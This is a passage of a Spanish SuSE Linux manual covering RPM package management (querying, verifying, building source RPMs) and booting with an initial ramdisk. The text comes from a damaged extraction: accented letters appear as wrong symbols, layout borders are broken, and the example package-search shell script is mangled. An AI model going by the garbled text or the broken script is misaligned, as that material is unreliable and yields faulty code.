  26108.                                  la nueva versi≤n del paquete RPM, salvo que el archivo de configuraci≤n
  26109.                                  de  esta  nueva  versi≤n  no  haya  cambiado  su  estructura.   En  el  caso  de
  26110.                                  reemplazar  el  fichero  de  configuraci≤n,  es  muy  probable  que  sea  nece-
  26111.                                  sario adaptar el nuevo basßndose en la copia con la extensi≤n .rpmorig
  26112.                                  o  .rpmsave.   DespuΘs  de  esta  adaptaci≤n  se  deben  borrar  los  ficheros
  26113.                                  .rpmorig y .rpmsave para que estos no obstaculicen la siguiente actu-
  26114.                                  alizaci≤n1 .
  26115.  
  26116.                            La opci≤n -U   (Update) no es de ninguna manera equivalente a la secuencia
  26117.                            -e  -i   (Desinstalar/Borrar ~ Instalar).  Siempre que sea posible, es preferible
  26118.                            usar la opci≤n -U  .
  26119.                            ________________________________________________________________________________________________________*
  26120.  *________||
  26121.                            |  DespuΘs de cada actualizaci≤n es necesario controlar las copias de seguri-                           *
  26122.  *        ||||
  26123.                            |                                                                                                       *
  26124.  *        |||
  26125.                            |  dad con las extensiones .rpmorig o .rpmsave generados por rpm   . En ca-                             *
  26126.  *        |||
  26127.                            |  so de necesidad transfiera sus ajustes a los nuevos ficheros de configuraci≤n                        *
  26128.  *        |||
  26129.                            |                                                                                                       *
  26130.  *        |||
  26131.                            |  y borre despuΘs los antiguos con las extensiones .rpmorig o .rpmsave.                                *
  26132.  *        |||
  26133.                            |_______________________________________________________________________________________________________*
  26134.  *________|||_
  26135.  
  26136.                            Para borrar un paquete se procede de la siguiente manera:
  26137.  
  26138.                                  tierra:  #  rpm  -e  <paquete>
  26139.  
  26140.                            rpm    solo borra un paquete en caso de no existir ninguna dependencia.  Por
  26141.                            lo tanto no es posible suprimir p. ej.  Tcl/Tk si todavφa existe alg·n programa
  26142.                            que lo necesite para su ejecuci≤n; esta funcionalidad se debe al ''control'' por
  26143.                            parte del banco de datos RPM.
  26144.  
  26145.                            Si en alg·n caso excepcional no es posible borrar un paquete aunque haya de-
  26146.                            jado de existir cualquier dependencia, es probable que el problema se resuelva
  26147.                            al generar de nuevo el banco de datos RPM, usando la opci≤n --rebuilddb
  26148.                            (las explicaciones sobre el banco de datos se pueden ver en el apartado 15.3.2
  26149.                            en la pßgina 408Consultastable.15.2).
  26150.  
  26151.  
  26152.                            15.3.2       Consultas
  26153.  
  26154.                            La opci≤n -q   (ingl. query) permite direccionar consultas a los archivos RPM
  26155.                            (opci≤n -p   <fichero`paquete>) tal como al banco de datos RPM. El tipo de
  26156.                            informaci≤n a consultar depende de los banderines que figuran en la tabla 15.1
  26157.                            en la pßgina siguiente.
  26158.  
  26159.                             _______________________________________________________________________________________________________*
  26160.  *_________
  26161.  
  26162.                               -i                           Mostrar informaci≤n sobre un paquete
  26163.  
  26164.                             _______________________________________________________________________________________________________*
  26165.  *_________
  26166.  
  26167.                            _______________________Tabla_15.1:_Contin·a_en_la1pßginaLsiguientea...extensi≤n .rpmsave se selecciona c*
  26168.  *uando el banco de datos RPM ya conoce e@
  26169.  
  26170.                            caso contrario se usa .rpmorig.  Dicho en otras palabras, los ''.rpmorig'' se generan cuando
  26171.                            se actualizan paquetes que no tienen formato RPM y los .rpmsave se generan actualizando
  26172.                            paquetes RPM antiguos con RPM nuevos.
  26173.  
  26174.  
  26175. 406
  26176.        ______________________________________________________________________________15.3.__RPM_~_El_gestor_de_paquetes____________*
  26177.  *______________________
  26178.  
  26179.        ______________________________________________________________________________________________________________________
  26180.  
  26181.  
  26182.    -l                            Mostrar lista de ficheros del paquete
  26183.    -f  <Fichero>            +    Consultar  por  el  paquete  que  contiene  el  fichero
  26184.                                  <Fichero>;     se    precisa    la    especificaci≤n    de
  26185.                                  <Fichero> con su rama completa!
  26186.    -s                            Mostrar estado de los ficheros (implica -l  )
  26187.    -d                            Nombrar ficheros de documentaci≤n (implica -l  )
  26188.    -c                            Nombrar ficheros de configuraci≤n (implica -l  )
  26189.    --dump                        Mostrar toda la informaci≤n de verificaci≤n de todos
  26190.                                  los ficheros (íUselo con -l  , -c   o -d  !)
  26191.    --provides                    Mostrar   posibilidades   del   paquete;   otro   paquete
  26192.                                  puede pedirlas con --requires
  26193.    --requires          , -R      Mostrar dependencias entre los paquetes
  26194.    --scripts                     Mostrar los distintos scripts de desinstalaci≤n
  26195.  
  26196.        ______________________________________________________________________________________________________________________
  26197.  
  26198.    Tabla  15.1:    Las  opciones  de  consulta  mßs  importantes  (-q    [-p  ]
  26199.    . . . <paquete>)
  26200. Por ejemplo el comando:
  26201.  
  26202.       tierra:  #  rpm  -q  -i  rpm
  26203.  
  26204. da como resultado la salida en pantalla 15.3.1:
  26205.  
  26206.        _______________________________________________________________________________________________________________________||||
  26207.        ||||||||    Name             :  rpm                                 Relocations:  (not  relocateable)                   |
  26208.        ||||||||                                                                                                                |
  26209.        ||||||||    Version        :  3.0.3                                     Vendor:  SuSE  GmbH,  Germany                   |
  26210.        ||||||||    Release        :  47                                    Build  Date:  Fri  Dec  10  13:50:27                |
  26211.        ||||||||    Install  date:  Tue  Dec  14  12:57:00  1999  Build  Host:  Cauchy.suse.de                                  |
  26212.        ||||||||    Group           :  unsorted                           Source  RPM:  rpm-3.0.3-47.src.rpm                    |
  26213.        ||||||||                                                                                                                |
  26214.        ||||||||    Size             :  5740847                                 License:  GPL                                   |
  26215.        ||||||||    Packager      :  feedback@suse.de                                                                           |
  26216.        ||||||||    Summary        :  RPM  Package  Manager                                                                     |
  26217.        ||||||||    Description  :                                                                                              |
  26218.        ||||||||                                                                                                                |
  26219.        ||||||||    RPM  Package  Manager  is  the  main  tool  for  managing  software  packages                               |
  26220.        ||||||||    of  the  SuSE  Linux  distribution.                                                                         |
  26221.        ||||||||    [...]                                                                                                       |
  26222.        ||||||||                                                                                                                |
  26223.        ||||||||_______________________________________________________________________________________________________________ |
  26224.  
  26225.                        Mensaje en pantalla 15.3.1: rpm  -q  -i  rpm
  26226.  
  26227.  
  26228. La opci≤n -f   solo funciona cuando se indica el nombre de fichero completo
  26229. con la rama incluida;  se pueden indicar tantos ficheros como se desee.  Por
  26230. ejemplo el comando:
  26231.  
  26232.       tierra:  #  rpm  -q  -f  /bin/rpm  /usr/bin/wget
  26233.  
  26234. resulta en:
  26235. rpm-3.0.3-3
  26236. wget-1.5.3-55
  26237.  
  26238.  
  26239. Si solo se conoce una parte del nombre del fichero, se puede obtener ayuda
  26240. mediante  un  script  (ver  el  fichero  15.3.1  en  la  pßgina  siguiente)  al  cual  se
  26241. pasa, como parßmetro, el nombre del fichero buscado.
  26242.  
  26243.  
  26244.                                                                                                                                    *
  26245.  *   407
  26246. 15.  Actualizaci≤n_del_sistema_~_Gesti≤n_de_paquetes_______________________________________________________________________________*
  26247.  *_______________________________________@
  26248.  
  26249.                            ________________________________________________________________________________________________________*
  26250.  *________||
  26251.                            |                                                                                                       *
  26252.  *         |
  26253.  
  26254.                            ||   #!fo/bin/shr  i  in  `rpm  -q  -a  -l  |  grep   $1  `;  do                                        *
  26255.  *         ||
  26256.                            |                                                                                                       *
  26257.  *         |
  26258.                            |          echo  "\"$i\"  se  encuentra  en  el  paquete:"                                              *
  26259.  *         |
  26260.                            |          rpm  -q  -f  $i                                                                              *
  26261.  *         |
  26262.                            |          echo  ""                                                                                     *
  26263.  *         |
  26264.                            |    done                                                                                               *
  26265.  *         |
  26266.                            |                                                                                                       *
  26267.  *         |
  26268.                            |_______________________________________________________________________________________________________*
  26269.  *________ |
  26270.  
  26271.                                                Fichero 15.3.1: Script para b·squeda de paquetes
  26272.  
  26273.  
  26274.  
  26275.                            Con el comando:
  26276.  
  26277.                                  tierra:  #  rpm  -q  --changelog  rpm
  26278.  
  26279.                            se puede ver informaci≤n detallada (actualizaciones, configuraci≤n, cambios,
  26280.                            etc.) sobre determinados paquetes; en este ejemplo sobre el paquete rpm.
  26281.  
  26282.                            El banco de datos tambiΘn permite efectuar verificaciones; Θstas se introducen
  26283.                            con  la  opci≤n  -V   (equivalente  a  -y   o  --verify       ).  Con  la  verificaci≤n  rpm
  26284.                            muestra  todos  los  ficheros  del  paquete  que  han  sido  modificados  desde  su
  26285.                            instalaci≤n original. rpm    coloca hasta 8 caracteres por delante del nombre de
  26286.                            fichero que indican los siguientes cambios:
  26287.  
  26288.                             _______________________________________________________________________________________________________*
  26289.  *_________
  26290.  
  26291.                               5      N·mero de control MD5
  26292.                               S      Tama±o de fichero
  26293.                               L      Enlace simb≤lico
  26294.                               T      Tiempo de modificaci≤n
  26295.                               D      N·mero de dispositivo ''major'' y ''minor'' (ingl. device number)
  26296.                               U      Usuario (ingl. user)
  26297.                               G      Grupo (ingl. group)
  26298.                               M      Modo (con derecho y tipo)
  26299.  
  26300.                             _______________________________________________________________________________________________________*
  26301.  *_________
  26302.  
  26303.                                                              Tabla 15.2: Las verificaciones
  26304.  
  26305.  
  26306.  
  26307.                            Para  los  ficheros  de  configuraci≤n  aparece  como  valor  adicional  la  letra  c,
  26308.                            como lo muestra el ejemplo para el fichero /etc/wgetrc del paquete wget,
  26309.                            que ha sido modificado:
  26310.                                  tierra:  #  rpm  -V  wget
  26311.  
  26312.                            S.5....T  c  /etc/wgetrc
  26313.  
  26314.  
  26315.                            Los ficheros del banco de datos RPM se encuentran en /var/lib/rpm. Estos
  26316.                            pueden ocupar hasta 20 MB para una partici≤n /usr de 500 MB, especial-
  26317.                            mente despuΘs de una actualizaci≤n completa. Si el banco de datos parece de-
  26318.                            masiado grande, se puede reducir su tama±o usando la opci≤n --rebuilddb          ;
  26319.                            antes de reconstruir el banco de datos se debe hacer una copia de la existente.
  26320.  
  26321.                            El script cron.daily          genera diariamente copias comprimidas del banco de
  26322.                            datos y las guarda en /var/adm/backup/rpmdb. El n·mero de estas copias
  26323.                            estß definido por la variable <MAX`RPMDB`BACKUPS>, cuyo valor por
  26324.                            defecto es 5 , pero se puede modificar en /etc/rc.config.  Cada respaldo
  26325.                            ocupa aproximadamente 2 MB para una partici≤n /usr de 500 MB. Se trata
  26326. 408                        de un gasto de espacio que se debe tener en cuenta al determinar el tama±o
  26327.                            de la partici≤n raφz, salvo que se cree una partici≤n propia para /var.
  26328.  
  26329.  
  26330.                            15.3.3       Instalar y compilar los paquetes fuente
  26331.  
  26332.                            Todos los paquetes con fuentes (ingl. Sources) se encuentran en la serie zq y
  26333.                            llevan la extensi≤n .spm; estos archivos se llaman ''Source-RPMs''.
  26334.        ______________________________________________________________________________15.3.__RPM_~_El_gestor_de_paquetes____________*
  26335.  *______________________
  26336.  
  26337.        _______________________________________________________________________________________________________________________||
  26338.        ||||||||  Los  paquetes  con  fuentes  se  pueden  instalar  con  YaST  como  cualquier                  |||            |
  26339.        ||||||||| otro paquete, con la diferencia que, estos no se marcan como instalados,                       ||             ||
  26340.        ||||||||  con  una  [i]  ,  como  ocurre  con  los  paquetes  ''regulares''.  Por  esta  raz≤n           |||            |
  26341.        ||||||||                                                                                                 ||             |
  26342.        ||||||||  los paquetes fuente no figuran en el banco de datos RPM, ya que Θste solo                      ||             |
  26343.        ||||||||  anota el software instalado.                                                                   ||             |
  26344.        ||||||||_______________________________________________________________________________________________________________||_
  26345.  
  26346. Si no hay ninguna configuraci≤n personal activada (p. ej.  a travΘs del fichero
  26347. /etc/rpmrc), los directorios de trabajo de rpm  deben existir por debajo de
  26348. /usr/src/packages. Estos son:
  26349.  
  26350. SOURCES         para  las  fuentes  originales  (ficheros-.tar.gz,  etc.)   y  para  las
  26351.       adaptaciones especφficas de las distintas distribuciones (ficheros-.dif).
  26352.  
  26353. SPECS       para los ficheros-.spec,  que controlan el proceso ''build'' y de este
  26354.       modo act·an como ''Makefiles''.
  26355.  
  26356. BUILD       por debajo de este directorio se desempacan o se compilan las fuentes;
  26357.       tambiΘn se a±aden a Θste los parches.
  26358.  
  26359. RPMS      en Θste se graban los paquetes completos en formato binario.
  26360.  
  26361. SRPMS       y en Θste los ''Source''-RPMs (fuentes).
  26362.        _______________________________________________________________________________________________________________________||
  26363.        ||||||||  íNo deben hacerse experimentos de RPM con los componentes clave del                            |||            |
  26364.        ||||||||  sistema como paquete libc, paquete rpm, paquete nkit, etc., porque se                          ||             |
  26365.        ||||||||                                                                                                 ||             |
  26366.        ||||||||  estarφa poniendo en peligro el buen funcionamiento del sistema!                                ||             |
  26367.        ||||||||_______________________________________________________________________________________________________________||_
  26368.  
  26369. Al instalar con YaST  un paquete de fuentes de la serie zq,  todos los com-
  26370. ponentes necesarios para el proceso ''build'' se copian en el directorio /usr/
  26371. src/packages:  Las  fuentes  y  los  parches  se  van  al  directorio  SOURCES  y
  26372. el fichero-.spec correspondiente se copia en el directorio SPECS2 .  Toman-
  26373. do como ejemplo el paquete wget.spm, despuΘs de ser instalado con YaST ,
  26374. aparecerßn los siguientes ficheros:
  26375.  
  26376.       /usr/src/packages/SPECS/wget.spec
  26377.       /usr/src/packages/SOURCES/wget-1.4.5.dif
  26378.       /usr/src/packages/SOURCES/wget-1.4.5.tar.gz
  26379. Con  el  comando  rpm  -b  <X>  /usr/src/packages/SPECS/wget.spec
  26380. comienza  la  compilaci≤n.   La  variable  <X>  puede  representar  diferentes
  26381. pasos, de los cuales aquφ figuran algunos (ver tambiΘn la ayuda que aparece
  26382. con la opci≤n ~help      o la documentaci≤n de RPM):
  26383.  
  26384. -bp     preparar las fuentes en el directorio /usr/src/packages/BUILD; de-
  26385.       sempacar y poner los parches
  26386.  
  26387. -bc     igual a -bp   , pero con compilaci≤n.
  26388.  
  26389. -bi     igual a -bc   , pero con instalaci≤n del paquete.  íCuidado:  Si hay alg·n
  26390.       paquete que no soporte la caracterφstica BuildRoot, es posible que durante
  26391.       la instalaci≤n se sobreescriban algunos ficheros de configuraci≤n impor-
  26392.       tantes!
  26393.  
  26394. -bb     igual  a  -bi  ,  pero  con  generaci≤n  adicional  del  ''Binary-RPM''  que  se
  26395.       encuentra en caso de Θxito en el directorio /usr/src/packages/RPMS.
  26396. 2      ____________________________________________________
  26397.    Respecto a la generaci≤n propia de paquetes (ingl. build mode) ver [Bai97  ] y la pßgina del
  26398. manual de rpm  (man  rpm   ).
  26399.  
  26400.  
  26401.                                                                                                                                    *
  26402.  *   409
  26403. 15.  Actualizaci≤n_del_sistema_~_Gesti≤n_de_paquetes_______________________________________________________________________________*
  26404.  *_______________________________________@
  26405.  
  26406.  
  26407.  
  26408.                            -ba     igual a -bb   ,  pero genera adicionalmente el ''Source-RPM'' que se en-
  26409.                                  cuentra, en caso de Θxito, en el directorio /usr/src/packages/SRPMS.
  26410.  
  26411.                            La opci≤n --short-circuit               permite saltarse determinados pasos.
  26412.  
  26413.                            El  ''Binary-RPM''  se  instala  finalmente  con  rpm  -i    ,  o  mejor  con  rpm  -U    ,
  26414.                            para que aparezca en el banco de datos RPM.
  26415.  
  26416.  
  26417.                            15.3.4       Herramientas para los archivos RPM y el banco de datos RPM
  26418.  
  26419.                            El Midnight Commander (mc  ) es capaz de mostrar el contenido de un archivo
  26420.                            RPM  y  copiar  partes  de  Θl.   El  archivo  RPM  se  muestra  en  un  sistema  de
  26421.                            ficheros  virtual  para  el  cual  se  ponen  a  disposici≤n  todas  las  opciones  del
  26422.                            men· del mc .  La informaci≤n_de los encabezamientos del ''fichero''_HEADER
  26423.                            se visualiza con |F___|3;  con las teclas del cursor y |_____-|se puede pasar por la
  26424.                            estructura  del  archivo  y  en  caso  de  necesidad  copiar  componentes  usando
  26425.                            |F___|_5.  ~ Por otra parte, ya existe rpm.el       para Emacs , que es un ''Frontend''
  26426.  
  26427.                            para rpm :-)
  26428.  
  26429.                            xrpm  es  el  nombre  de  un  gestor  grßfico  de  RPM  realizado  con  Python,  un
  26430.                            lenguaje  de  scripts  ''sofisticado''.   xrpm  soporta  la  gesti≤n  de  paquetes  vφa
  26431.                            FTP.
  26432.  
  26433.                            KDE  incluye  la  herramienta  krpm ,  que  es  una  interfaz  grßfica  del  sistema
  26434.                            X  Window  para  la  gesti≤n  de  RPM;  en  caso  de  GNOME  se  incorpora
  26435.                            gnorpm .
  26436.  
  26437.                            Alien (alien     ) permite la conversi≤n de los formatos de las distintas distribu-
  26438.                            ciones. Con este programa se puede intentar convertir, antes de la instalaci≤n,
  26439.                            los  archivos  antiguos  del  tipo  TGZ  al  formato  RPM,  para  que  el  banco  de
  26440.                            datos RPM reciba durante la instalaci≤n la informaci≤n de los paquetes. Pero
  26441.                            cuidado: alien      es un script de Perl y seg·n sus autores todavφa se encuentra
  26442.                            en fase alfa, aunque ya ha alcanzado un n·mero de versi≤n alto.
  26443.  
  26444.                            Finalmente existe YaST  y su funcionamiento se explica en el apartado 3.5.9
  26445.                            en la pßgina 100Instalar paquetessubsection.3.5.9.
  26446. 410
  26447.  
  26448.                                                                                                       Capφtulo  16
  26449.                Particularidades   de   SuSE                   Linux
  26450.  
  26451.  
  26452.  
  26453. 16.1        Filesystem  Hierarchy  Standard  (FHS)  y  Linux  Stan-
  26454.  
  26455.             dard Base (LSB)
  26456.  
  26457.  
  26458. SuSE     Linux intenta cumplir al mßximo el estßndar de sistema de ficheros (in-
  26459. gl. Filesystem-Standard (FSSTD)) o de su sucesor, el estßndar sobre jerarquφa
  26460. del sistema de ficheros (ingl. Filesystem Hierarchy Standard (FHS, paquete
  26461. fhs, serie doc)).  Por lo tanto a veces es necesario mover ficheros o directo-
  26462. rios al lugar ''correcto'' en el ßrbol de directorios.
  26463.  
  26464. SuSE      soporta activamente los esfuerzos del proyecto Linux Standard Base,
  26465. sobre el cual es posible informarse en http://www.linuxbase.org.
  26466.  
  26467.  
  26468. 16.1.1       Entornos de ejemplo para FTP y HTTP
  26469.  
  26470.  
  26471. Sobre FTP
  26472.  
  26473. El paquete ftpdir contiene un entorno de ejemplo para facilitar la configu-
  26474. raci≤n de un servidor FTP. Este entorno se instala en /usr/local/ftp.
  26475.  
  26476.  
  26477. Sobre HTTP
  26478.  
  26479. El  servidor  web  predeterminado  de  SuSE     Linux  es  Apache ,  que  se  instala
  26480. junto  con  algunos  documentos  de  ejemplo  en  el  directorio  /usr/local/
  26481. httpd.   Para  poner  en  marcha  un  servidor  de  web  propio  se  recomienda
  26482. definir un DocumentRoot            propio en el fichero /etc/httpd/httpd.conf.
  26483.  
  26484.  
  26485. 16.1.2       teTeX  ~ TE X en SuSE      Linux
  26486.  
  26487. teTeX  se instala seg·n la estructura TEX Directory Structure (TDS) sin vio-
  26488. laci≤n del FHS (ver ftp://ftp.dante.de/tex-archive/tds/).
  26489.  
  26490.  
  26491.  
  26492. 16.2        Arrancar con ''initial ramdisk''
  26493.  
  26494.  
  26495. Situaci≤n de arranque
  26496.  
  26497. En cuanto el kernel de Linux estΘ cargado y el sistema de ficheros raφz (/)
  26498. montado,  es  posible  ejecutar  programas  y  cargar  m≤dulos  de  kernel  adi-
  26499. cionales para proporcionar funciones adicionales.
  26500.  
  26501.  
  26502.                                                                                                                                    *
  26503.  *   411
  26504. 16.  Particularidades_de_SuSE______Linux___________________________________________________________________________________________*
  26505.  *_______________________________________@
  26506.  
  26507.  
  26508.  
  26509.                            Para  llegar  al  punto  de  montar  el  sistema  de  ficheros  raφz,  se  tienen  que
  26510.                            cumplir varias condiciones.  Por una parte,  el kernel necesita el driver para
  26511.                            acceder  al  dispositivo  que  contiene  el  sistema  de  ficheros  raφz  (sobre  todo
  26512.                            los drivers para SCSI) y por otra parte el kernel tiene que contener el c≤digo
  26513.                            necesario  para  leer  el  sistema  de  ficheros  (ext2    ,  reiserfs       ,  romfs    ,  etc.).
  26514.                            Ademßs es posible que el sistema de ficheros raφz ya estΘ encriptado, con lo
  26515.                            cual se tendrφa que introducir la contrase±a para montarlo.
  26516.  
  26517.                            Hay  diferentes  soluciones  para  resolver  el  problema  de  los  drivers  de  SC-
  26518.                            SI. Una posibilidad serφa un kernel que contenga todos los drivers existentes,
  26519.                            lo  que  tiene  como  desventaja  el  aumento  de  su  tama±o  y  que  pueda  haber
  26520.                            conflictos entre todos los drivers. Otra soluci≤n serφa proporcionar diferentes
  26521.                            kernels,  de  los  que  cada  uno  contenga  uno  o  un  par  de  drivers  SCSI.  Esta
  26522.                            soluci≤n es tambiΘn complicada ya que requiere una gran cantidad de kernels
  26523.                            diferentes,  cantidad  que  ademßs  se  multiplica  por  las  diferentes  optimiza-
  26524.                            ciones para Pentium o SMP.
  26525.  
  26526.                            La soluci≤n ≤ptima es la de cargar el driver SCSI como m≤dulo.  Esta solu-
  26527.                            ci≤n requiere la posibilidad de ejecutar programas del ßrea (de memoria) de
  26528.                            usuario  antes  de  montar  el  sistema  de  ficheros  raφz.  Este  procedimiento  se
  26529.                            puede  realizar  mediante  el  concepto  del  initial  ramdisk  (disco  de  memoria
  26530.                            inicial).
  26531.  
  26532.  
  26533.                            16.2.1       El concepto ''initial ramdisk''
  26534.  
  26535.                            Los problemas mencionados arriba se resuelven mediante el initial ramdisk
  26536.                            (tambiΘn  denominado  ''initdisk''  o  ''initrd'').   El  kernel  de  Linux  ofrece  la
  26537.                            posibilidad de cargar un sistema de ficheros peque±o a un disco de memoria
  26538.                            (Ramdisk) para ejecutar programas dentro del mismo antes del montaje real
  26539.                            del sistema de ficheros raφz. El ''bootloader'' (LILO , loadlin , etc.) se encarga
  26540.                            de cargar el initrd. Todos los ''bootloader'' s≤lo necesitan rutinas de la BIOS
  26541.                            para leer los datos del disco.  Cuando el ''bootloader'' es capaz de cargar el
  26542.                            kernel, Θste tambiΘn puede cargar el disco de memoria inicial por lo que ya
  26543.                            no se necesitan drivers especiales.
  26544.  
  26545.  
  26546.                            16.2.2       Procedimiento del arranque con initrd
  26547.  
  26548.                            El ''bootloader'' carga el kernel y la initrd a la memoria e inicia el kernel,
  26549.                            indicßndole la existencia de un disco de memoria initrd y su posici≤n en la
  26550.                            memoria.
  26551.  
  26552.                            Normalmente el initrd estß comprimido,  por lo que el kernel lo descom-
  26553.                            prime y lo monta como sistema de ficheros temporal. DespuΘs de esto, dentro
  26554.                            del disco initrd se inicia un programa denominado linuxrc ,  que es capaz
  26555.                            de montar el sistema de ficheros ''normal''.  En el momento que linuxrc  fi-
  26556.                            naliza, el disco temporal initrd se desmonta y el proceso de arranque sigue
  26557.                            en su secuencia habitual, montando el sistema de ficheros raφz verdadero.  El
  26558.                            montaje de initrd y la ejecuci≤n de linuxrc se pueden observar como pasos
  26559.                            intermedios durante el proceso de arranque normal.
  26560.  
  26561.                            Si no es posible desmontar el initrd (lo que se puede considerar un error), el
  26562.                            kernel trata de montar nuevamente el initrd pero esta vez sobre el directorio
  26563.                            /initrd. En caso de que Θste no exista, el kernel emite un mensaje de error.
  26564.  
  26565.  
  26566. 412
  26567.        __________________________________________________________________________16.2.__Arrancar_con_''initial_ramdisk''___________*
  26568.  *______________________
  26569.  
  26570.  
  26571.  
  26572. El  sistema  es  completamente  operativo,  pero  nunca  serß  posible  liberar  el
  26573. espacio de memoria que initrd ocupa.
  26574.  
  26575.  
  26576. linuxrc
  26577.  
  26578. Las  condiciones  para  linuxrc  dentro  del  initrd  son  las  siguientes:  Debe
  26579. tener  el  nombre  especial  linuxrc       y  se  debe  encontrar  dentro  del  directo-
  26580. rio  raφz  del  initrd.   Aparte  de  ello  solo  hace  falta  que  el  kernel  lo  pueda
  26581. ejecutar.  Esto significa que linuxrc  puede ser un programa con enlace (ingl.
  26582. link) dinßmico a las librerφas, pero en este caso las librerφas compartidas (ingl.
  26583. shared libraries) se deben encontrar como es usual bajo /lib en el initrd.
  26584. linuxrc  tambiΘn podrφa ser un script de la shell,  pero para esto deberφa exi-
  26585. stir una +   Shell en /bin.  Resumiendo,  se puede decir que el initrd debe
  26586. contener un sistema Linux mφnimo que permita ejecutar el programa linuxrc .
  26587. Durante  la  instalaci≤n  de  SuSE     Linux  se  usa  un  linuxrc  enlazado  estßtica-
  26588. mente para mantener el initrd lo mßs peque±o posible, ya que el espacio en
  26589. los disquetes de arranque es muy reducido.  linuxrc  se ejecuta con derechos
  26590. de superusuario `root'.
  26591.  
  26592.  
  26593. El sistema de ficheros raφz verdadero
  26594.  
  26595. En cuanto linuxrc  termina, el initrd se desmonta y el proceso de arranque
  26596. contin·a, con el kernel montando el sistema de ficheros raφz verdadero.  lin-
  26597. uxrc  puede influir sobre el tipo de sistema de fichero raφz que se va a mon-
  26598. tar.   Para  ello  solo  es  necesario  que  linuxrc  monte  el  sistema  de  ficheros
  26599. /proc y escriba el valor del sistema de ficheros raφz en forma numΘrica en
  26600. /proc/sys/kernel/real-root-dev.
  26601.  
  26602.  
  26603. 16.2.3       Bootloader
  26604.  
  26605. La   mayorφa   de   los   ''cargadores/gestores   de   arranque''   (ingl.   bootload-
  26606. er/bootmanager)  son  capaces  de  tratar  un  initrd  (especialmente  loadlin
  26607. y syslinux ).  La forma de indicar a los ''bootloader'' que usen un initrd, es
  26608. la siguiente:
  26609.  
  26610. 1. LILO
  26611.        Apuntar la siguiente lφnea en /etc/lilo.conf:
  26612.  
  26613.        _______________________________________________________________________________________________________________________||
  26614.        ||||||||                                                                                                                |
  26615.        ||||||||    initrd=/boot/initdisk.gz                                                                                    |
  26616.        ||||||||                                                                                                                |
  26617.        ||||||||                                                                                                                |
  26618.        ||||||||_______________________________________________________________________________________________________________ |
  26619.  
  26620.  
  26621.       El  fichero  /boot/initdisk.gz  es  el  disco  de  memoria  inicial  (initial
  26622.       ramdisk). Es posible (pero no necesario) que se encuentre comprimido.
  26623.  
  26624. 2. loadlin.exe
  26625.        Ejecuci≤n mediante:
  26626.  C:>  loadlin  <kernelimage>  initrd=C:\loadlin\initdisk.gz  <parßmetro>
  26627.  
  26628. 3. syslinux
  26629.        Apuntar la siguiente lφnea en syslinux.cfg:
  26630.  
  26631.  
  26632.                                                                                                                                    *
  26633.  *   413
  26634. 16.  Particularidades_de_SuSE______Linux___________________________________________________________________________________________*
  26635.  *_______________________________________@
  26636.  
  26637.                            ________________________________________________________________________________________________________*
  26638.  *________||
  26639.                            |                                                                                                       *
  26640.  *         |
  26641.                            ||   append  initrd=initdisk.gz  <parßmetros  adicionales>                                              *
  26642.  *         ||
  26643.                            |                                                                                                       *
  26644.  *         |
  26645.                            |_______________________________________________________________________________________________________*
  26646.  *________ |
  26647.  
  26648.  
  26649.  
  26650.                            16.2.4       Uso de initrd       en SuSE      Linux
  26651.  
  26652.  
  26653.                            Instalaci≤n del sistema
  26654.  
  26655.                            Ya hace tiempos que se usa el initrd para la instalaci≤n.  El usuario puede
  26656.                            cargar m≤dulos en linuxrc e introducir los datos necesarios para la instalaci≤n
  26657.                            (sobre todo el medio fuente).  DespuΘs linuxrc inicia YaST , que se encarga
  26658.                            de  la  instalaci≤n.   Cuando  Θsta  haya  terminado,  YaST  indica  a  linuxrc  el
  26659.                            lugar donde se encuentra el sistema recientemente instalado.  Seguidamente
  26660.                            linuxrc  anota este valor en /proc,  se termina y el kernel sigue inicißndose
  26661.                            con el sistema reciΘn instalado.
  26662.  
  26663.                            Al instalar SuSE     Linux se inicia desde un principio prßcticamente el mismo
  26664.                            sistema  que  se  acaba  de  instalar  ~  no  estß  mal  ;-)  S≤lo  cuando  el  kernel
  26665.                            en  ejecuci≤n  no  concuerda  con  los  m≤dulos  que  se  hayan  instalado  en  el
  26666.                            sistema, se efect·a un reinicio del mismo.  Esto solo hace falta cuando se ha
  26667.                            instalado  un  kernel  para  mßquinas  multiprocesador  junto  con  sus  m≤dulos,
  26668.                            ya  que  actualmente  SuSE     Linux  a  la  hora  de  arrancar,  usa  un  kernel  para
  26669.                            computadoras monoprocesador. Para poder usar todos los m≤dulos, hace falta
  26670.                            iniciar el kernel SMP del sistema.
  26671.  
  26672.  
  26673.                            Arrancar el sistema instalado
  26674.  
  26675.                            Anteriormente YaST  ofrecφa mßs de 40 kernels para la instalaci≤n, diferen-
  26676.                            cißndose unos de otros por diferentes drivers para controladoras SCSI. Esto
  26677.                            era  necesario  para  el  montaje  del  sistema  de  ficheros  raφz  despuΘs  del  ar-
  26678.                            ranque. Los demßs drivers se podφan cargar posteriormente como m≤dulos.
  26679.  
  26680.                            Como ahora ofrecemos kernels optimizados, se trata de un concepto invßlido,
  26681.                            ya que harφan falta mßs de 100 diferentes imßgenes de kernel.
  26682.  
  26683.                            Por lo tanto se usa ahora el initrd tambiΘn para el inicio normal del sistema.
  26684.                            El funcionamiento es anßlogo al de la instalaci≤n, con la diferencia de que el
  26685.                            linuxrc es ahora un sencillo script que solo se ocupa de cargar unos determi-
  26686.                            nados m≤dulos. Por lo general se carga un solo m≤dulo que es el driver SCSI,
  26687.                            necesario para el acceso al sistema de ficheros raφz.
  26688.  
  26689.  
  26690.                            Generar un initrd
  26691.  
  26692.                            El initrd (ingl. Initial ram disk) se genera mediante el script mk_initrd         .
  26693.                            Los m≤dulos que se han de cargar se definen, en el caso de SuSE     Linux, con la
  26694.                            variable INITRD_MODULES             en /etc/rc.config. DespuΘs de una instalaci≤n
  26695.                            esta variable contiene automßticamente los valores correctos, ya que linuxrc
  26696.                            reconoce cuales m≤dulos han sido cargados.  Estos se cargan exactamente en
  26697.                            el orden de aparici≤n en la variable INITRD_MODULES             , lo cual es importante
  26698.                            cuando se cargan varios drivers SCSI, ya que la enumeraci≤n de los discos
  26699.                            cambia cuando los m≤dulos se cargan en orden diferente.  En realidad serφa
  26700.  
  26701.  
  26702. 414
  26703.        __________________________________________________________________________16.2.__Arrancar_con_''initial_ramdisk''___________*
  26704.  *______________________
  26705.  
  26706.  
  26707.  
  26708. suficiente  cargar  s≤lo  el  driver  SCSI  que  proporciona  acceso  al  sistema  de
  26709. ficheros raφz.  La carga posterior automßtica de drivers SCSI es complicada
  26710. (serφa  difφcil  secuenciarlo,  si  tambiΘn  hay  discos  conectados  a  la  segunda
  26711. controladora), por lo que preferimos cargar todos los drivers SCSI mediante
  26712. el initrd.
